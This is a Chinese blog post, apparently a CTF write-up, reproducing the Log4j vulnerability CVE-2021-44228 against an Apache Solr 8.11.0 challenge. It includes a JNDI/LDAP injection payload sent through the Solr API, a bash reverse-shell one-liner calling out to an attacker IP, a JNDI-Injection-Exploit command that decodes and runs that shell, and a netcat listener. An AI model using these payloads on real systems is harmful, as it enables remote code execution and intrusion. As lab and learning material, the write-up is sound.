Log4j漏洞反弹shell CVE-2021-44228 Apache Log4j 远程代码执行漏洞复现

前言

比赛出了一个题目,发现有log4j漏洞但是需要反弹shell才能拿到flag,一开始试了几个工具都没有成功反弹shell,直到看到了这篇优秀博文,在此感谢这位师傅~
本文记录一下log4j反弹shell的这个过程,仅供各位师傅参考~

去更远的地方 见更亮的光

工具

测试了部分工具发现这个比较好用一点,可以直接github下载也可以到我的网盘上下载
girhub:JNDI-Injection-Exploit-1.0-SNAPSHOT-all
网盘链接:https://pan.baidu.com/s/13cz9sZzMJcF9s1y7E7sOWw
提取码:qwer

Log4j 漏洞测试

题目给了一个solr环境,通过首页可以看到版本为8.11.0
在这里插入图片描述
DNSLog上获取一个域名
在这里插入图片描述
通过solr的API测试log4j漏洞是否存在,具体的payload如下:

/solr/admin/cores?action=${
    
    jndi:ldap://${
    
    sys:java.version}.jprd1u.dnslog.cn}

在这里插入图片描述
在DNSlog平台上成功回显
在这里插入图片描述
至此可以推测目标环境存在log4j漏洞

Log4j 反弹shell

接下来就需要用到上面的工具和一台公网服务器了,首先把工具上传,将反弹shell的命令进行base64编码:

bash -i >& /dev/tcp/your_ip/6666 0>&1

base64在线网站进行编码后填入下面的命令中,同时需要填入服务器的IP地址

执行如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码}|{base64,-d}|{bash,-i}" -A "服务器IP"

在这里插入图片描述

接下来在服务器上开启监听,我这里用的是5555端口

nc -lvp 5555

根据目标环境选择payload如下:

${
    
    jndi:ldap://IP:1389/2u3m9p}

用payload进行测试
在这里插入图片描述

成功反弹shell
在这里插入图片描述

后记

如有其他疑问欢迎评论留言~

猜你喜欢

转载自blog.csdn.net/monster663/article/details/126806732